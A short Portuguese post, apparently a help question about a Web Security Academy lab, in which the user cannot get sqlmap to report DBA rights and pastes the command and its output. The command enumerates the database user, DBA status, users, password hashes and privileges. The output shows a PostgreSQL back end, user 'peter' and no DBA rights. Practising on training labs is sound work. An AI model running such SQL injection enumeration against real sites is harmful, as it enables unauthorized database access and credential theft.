mesmo após atualizar a ferramenta nao consigo is DBA: True
$ sqlmap -u https://0a71009404c1245692ea5d2f00100087.web-security-academy.net/filter?category=Accessories --current-user --is-dba --users --password --privileges --batch
[10:38:50] [INFO] the back-end DBMS is PostgreSQL back-end DBMS: PostgreSQL [10:38:50] [INFO] fetching current user current user: 'peter' [10:38:50] [INFO] testing if current user is DBA [10:38:51] [WARNING] reflective value(s) found and filtering out current user is DBA: False [10:38:51] [INFO] fetching database users database management system users [2]: [] peter [] postgres